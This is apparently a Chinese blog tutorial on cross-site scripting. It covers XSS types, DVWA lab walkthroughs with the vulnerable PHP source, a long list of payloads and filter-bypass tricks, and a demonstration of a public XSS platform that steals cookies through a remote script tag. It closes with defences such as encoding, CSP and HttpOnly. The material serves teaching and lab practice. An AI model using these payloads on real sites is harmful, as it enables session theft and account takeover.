XSS总结

简介

跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数

分类

反射型XSS

反射型只是简单的将用户输入的数据”反射”给浏览器,其应用场景往往是黑客诱使用户点击一个恶意链接,从而获得用户带cookie信息等,XSS 是非持久性、参数型的跨站脚本。反射型XSS 的JS代码在Web 应用的参数中,如搜索框的反射型XSS。

在搜索框中,提交PoC

1
<script>alert(/XSS/)</script>

点击搜索,即可触发反射型XSS

存储型XSS:

代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

DOM型XSS

基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。

危害

其实归根结底,XSS的攻击方式就是想办法“教唆”用户的浏览器去执行一些这个网页中原本不存在的前端代码。

可问题在于尽管一个信息框突然弹出来并不怎么友好,但也不至于会造成什么真实伤害啊。的确如此,但要说明的是,这里拿信息框说事仅仅是为了举个栗子,真正的黑客攻击在XSS中除非恶作剧,不然是不会在恶意植入代码中写上alert(“say something”)的。

  1. 窃取网页浏览中的cookie值

    在网页浏览中我们常常涉及到用户登录,登录完毕之后服务端会返回一个cookie值。这个cookie值相当于一个令牌,拿着这张令牌就等同于证明了你是某个用户。

    如果你的cookie值被窃取,那么攻击者很可能能够直接利用你的这张令牌不用密码就登录你的账户。如果想要通过script脚本获得当前页面的cookie值,通常会用到document.cookie。

    试想下如果像空间说说中能够写入xss攻击语句,那岂不是看了你说说的人的号你都可以登录(不过某些厂商的cookie有其他验证措施如:Http-Only保证同一cookie不能被滥用)

  2. 劫持流量实现恶意跳转

    这个很简单,就是在网页中想办法插入一句像这样的语句:

    1
    <script>window.location.href="http://www.baidu.com";</script>

    那么所访问的网站就会被跳转到百度的首页。

    早在2011年新浪就曾爆出过严重的xss漏洞,导致大量用户自动关注某个微博号并自动转发某条微博。具体各位可以自行百度。

  3. 网站挂马

    制作一个木马服务器。存在特定漏洞的用户一旦通过浏览器访问木马服务器,就会缓冲区溢出,从而攻击者可以直接获取用户的系统Shell。将木马服务器的URL,插入到一个存在XSS漏洞的正常web服务器中,一旦有人访问该服务器的挂马页面,就会中招。

    参考:https://blog.csdn.net/Monsterlz123/article/details/91127385

  4. 窃取用户登录帐号或个人信息

    https://www.sqlsec.com/2020/10/xss2.html

  5. 执行弹窗广告

    通过<iframe>标签等来实现弹窗

  6. 传播蠕虫病毒

  7. 钓鱼欺骗

    最典型的即是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者通过注入钓鱼JavaScript脚本以监控目标网站的表单输入,甚至攻击者基于DHTML技术对目标网站发起更高级的钓鱼攻击。

漏洞测试

黑盒测试

一般的当我们的输入回显到我们的页面上时,都可能存在xss注入点,我们首先找到这些可能存在注入的地方比如搜索框或者请求参数,然后输入<script “ ‘ OOnn/>通过返回的网页源码看看后端是否对这些敏感字符进行了过滤,然后针对不同的过滤构造不同的payload或者其变形来进行绕过注入

  1. 通常搜索栏容易出现反射型XSS,留言板容易出现存储型XSS;
  2. 通过变化不同的script,尝试绕过后台的过滤机制。

白盒测试

关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。

PHP中常见的接收参数的方式有$_GET$_POST$_REQUEST等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。

也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。

大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。

DVWA

XSS (Reflected)

low

弹窗成功

看一下源码发现没有对输入做任何过滤

1
2
3
4
5
6
7
8
9
10
11
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

medium

故技重施

发现script关键字被过滤

猜测可能后端可能存在

1
2
3
str_replace( '<script>', '', $_GET[ 'name' ] );
or
preg_replace("/<script>/i","",$name);

所以尝试双写绕过或者大小写绕过

成功

双写:

成功:

查看源码发现确实使用了strplace

1
2
3
4
5
6
7
8
9
10
11
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>

high

故技重施

发现只给我回来了最后一个>,所以猜测是通过preg_replace的贪婪模式匹配过滤了script字符

那么尝试比如img标签

成功弹窗

查看源码发现其用.*的贪婪模式来从后向前匹配s,c,r,i,p,t字符,从而导致刚开始的payload只剩下>

1
2
3
4
5
6
7
8
9
10
11
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>

Impossible

分析源码,可以看到使用htmlspecialchars函数对参数进行html实体转义,此时就无法利用XSS漏洞了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

XSS(Stored)

low

没有任何对用户输入进行过滤

弹窗成功

medium

故技重施

发现被过滤了script标签

大小写绕过

还是不行,可能是后端strplace加了i

尝试双写

也不行

换img标签

然后尝试各种payload以及变形均不行,所以猜测message处没有xss漏洞,那就尝试name:

<img src=1 οnerrοr=alert(“hack”)>

成功弹窗

查看源码:

发现对于message传递过来的参数

服务器首先进行了trim处理,即去掉参数两边的预定义字符

然后经过strip_tags处理,即去除参数中的标签,这是致命的

最后htmlspecialchars处理,即将<,>等转换为内容实体,从而防止浏览器将其当作标签

而对于name参数来说只是过滤了script标签,像这种我们就可以有很多种绕过方式利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

high

用medium的方法成功,查看源码发现name参数的过滤还是没有message那么严格,只是针对script进行了过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

Impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );

// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

发现对两个参数均采取了严格的过滤,无法使用xss


常用payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#<script>标签
<script>alert('XSS')</script>
"><script>alert('XSS')</script>
<script>alert(\'hack\')</script> #数据提交至数据库时有时引号需要转义
<script>alert(1)</script> #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script> #弹出cookie
<script src=http://xxx.com/xss.js></script> #引用外部的xss

<script>
function keyDown(){
var keycode = event.keyCode;
var realkey = String.fromCharCode(event.keyCode);
alert("按键码: " + keycode + " 字符: " + realkey);
}
document.onkeydown = keyDown;
</scrip> #捕获用户输入的字符并弹框
#a标签
<a href="javascript:alert(/XSS/)">click me!</a>
<a href="" autofocus onfocus=alert('xss')>click me!</a>
<a href="" onclick=alert('xss')>click me!</a>
#img标签
<img src=1 οnerrοr=alert("hack")>
<img src=1 οnerrοr=alert(document.cookie)>
<img src="javascript:alert("hack");">
<img scr='./simle.jpg' οnmοuseοver='alert(/XSS/)'> #前提要知道一个网站图片的地址,可通过审查元素获得
#svg标签
<svg οnlοad="alert(/XSS/)">
#input标签
<input οnfοcus=alert(/XSS/) autofocus>
<input type="button" οnclick="alert(/XSS/)">
#body标签
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
#video标签
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
#style标签
<style οnlοad=alert(1)></style>
#iframe标签
<iframe onload=alert('xss')>

payload集合:https://github.com/pgaijin66/XSS-Payloads/blob/master/payload/payload.txt

payload变形

我们可以将上述的XSS 代码进行各种变形,以绕过XSS 过滤器的检测。变形方式主要以下几种

大小写转换

可以将payload 进行大小写转换,如下

1
2
<Img sRc='#' Onerror="alert(/XSS/)" />
<a HrEF="javaScript:alert(/XSS/)">click me</a>

双写绕过

1
2
<script>
<scr<script>ipt>

引号的使用

1
2
3
4
# HTML 语言中对引号的使用不敏感,但是某些过滤函数是“锱铢必较”。
< img src="#" οnerrοr="alert(/XSS/)" />
< img src='#' οnerrοr='alert(/XSS/)' />
< img src=# οnerrοr=alert(/XSS/) />

[/]代替空格

1
2
# 可以利用左斜线代替空格
<Img/sRc=1/Onerror="alert(/XSS/)"/>

[%0A]代替空格

1
2
# 可以利用左斜线代替空格,xsslab第16关
<Img%0AsRc=1%0AOnerror="alert(/XSS/)"/>

回车

我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测。

1
2
3
4
5
6
7
<a HrEF="j
a v
a S
c r
i p
t :
alert(/XSS/)">click me</a>

对标签属性值进行转码

字母 ASCII码 十进制编码 十六进制编码
a 97 &#97 &#x61
e 101 &#101 &#x65

注:每个字母编码后都要加;且只能对标签属性进行编码,不能对标签编码

各进制编码表:https://blog.csdn.net/weixin_30362233/article/details/97278759?utm_term=%E5%8D%81%E8%BF%9B%E5%88%B6%E7%BC%96%E7%A0%81%E5%AF%B9%E7%85%A7%E8%A1%A8&utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~sobaiduweb~default-1-97278759&spm=3001.4430

例如:

1
2
3
<A hREF="javascript:alert(/XSS/)">click me!</a>
编码后:
<A hREF="j&#97;v&#x61;script:alert(/XSS/)">click me !</a>

拆分跨站

1
2
3
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>

字符串检测

1
2
#当后端检测我们的输入必须包含某些字符时比如http,可以使用/*http*/
<a href=javascript:alert(/XSS/)/*http*/>click me</a>

XSS平台

如果自己的js水平一般不能构造出那些恶意js代码时,就可以使用xss平台给你构造好的payload,我们只需要让用户访问恶意代码的链接即可

本次使用的是https://xsshs.cn这个xss平台,这个里面脚本很丰富

web页面如下:

点击创建:

下一步选择我们需要的功能,通过我们勾选的功能,后端来给我们构造jspayload:

比如读取cookie

注意要先勾选默认模块并保持keepsession

点击下一步

当受害者浏览器请求到了远端的js代码并执行后,xss平台就会获取到受害者的cookie

通过kali攻击机将

1
<sCRiPt sRC=//xsshs.cn/cZ37></sCrIpT>

存入到dvwa中

然后本机在访问该页面时就会执行该js代码,然后cookie就会显示在xss平台

查看xss平台,成功显示cookie

beef

其实和xss平台差不多,都是通过让受害者浏览器访问远端的js代码来获取受害者信息

将如上代码通过xss嵌入到网页中,然后受害者访问页面时就会去访问远端的js代码,从而被控制

具体流程参考

https://blog.csdn.net/whoim_i/article/details/102877616

防御

XSS防御的总体思路是:对输入(和URL参数)进行过滤,对输出进行编码

也就是对提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。虽然对输入过滤可以被绕过,但是也还是会拦截很大一部分的XSS攻击

输入过滤

输入检查的逻辑,必须放在服务器端代码中实现。如果只是在客户端使用JavaScript进行输入检查,是很容易被攻击者绕过的。目前Web开发的普遍做法,是同时在客户端JavaScript中和服务器代码中实现相同的输入检查。客户端JavaScript的输入检查,可以阻挡大部分误操作的正常用户,从而节约服务器资源。

在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<、>、’、“等,如果发现存在特殊字符,者将这些特殊字符过滤或者编码。

还可以匹配XSS的特征。比如查找用户数据中是否包含了”<script>“、”javascript”等敏感字符。这种输入检查的方式,可以称为“XSS Filter”。XSS Filter在用户提交数据时获取变量,并进行XSS检查。

输出检查

一般来说,在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。

安全的编码函数
比如php中htmlspecialchars()

输入过滤+输出检查=XSS Filter

XSS Filter

针对用户提交的数据进行有效的验证,只接受我们规定的长度或内容的提交,过滤掉其他的输入内容。比如:

  1. 表单数据指定值的类型:年龄只能是 int 、名字只能是字母数字等。
  2. 过滤或移除特殊的 html 标签:<script><iframe>等。
  3. 过滤 js 事件的标签:onclickonerroronfocus等。
  • 确保执行脚本来源可信

开发者明确告诉客户端,哪些外部资源可以加载和执行(CSP策略)

总之,总的原则:输入做过滤,输出做转义

  • 过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。
  • 转义:所有输出到前端的数据根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面进行JS转义。

HttpOnly

可以将cookie 标记为 http only,这样的话当浏览器向服务端发起请求时就会带上 cookie 字段,但是在js脚本中却不能访问 cookie,这样就避免了 XSS 攻击利用 js 的 document.cookie获取 cookie。

1
2
3
4
5
6
7
8
9
10
<?php

header("Set-Cookie: cookie1=test1;");
header("Set-Cookie: cookie2=test2;httponly", false);

?>

<script>
alert(document.cookie);
</script>

黑白名单

不管采用输入过滤还是输出编码,都是针对数据信息进行黑|白名单式的过滤

黑名单:过滤特殊符号及字符,可以拦截大部分的XSS攻击,但是还是存在被绕过的风险。

白名单:只允许特定类型或字符,可以基本杜绝XSS攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。

https://www.wawyw.top/posts/54823.html

https://blog.csdn.net/weixin_40270125/article/details/89415990

https://blog.csdn.net/weixin_43252204/article/details/105910672

https://blog.csdn.net/whoim_i/article/details/102877616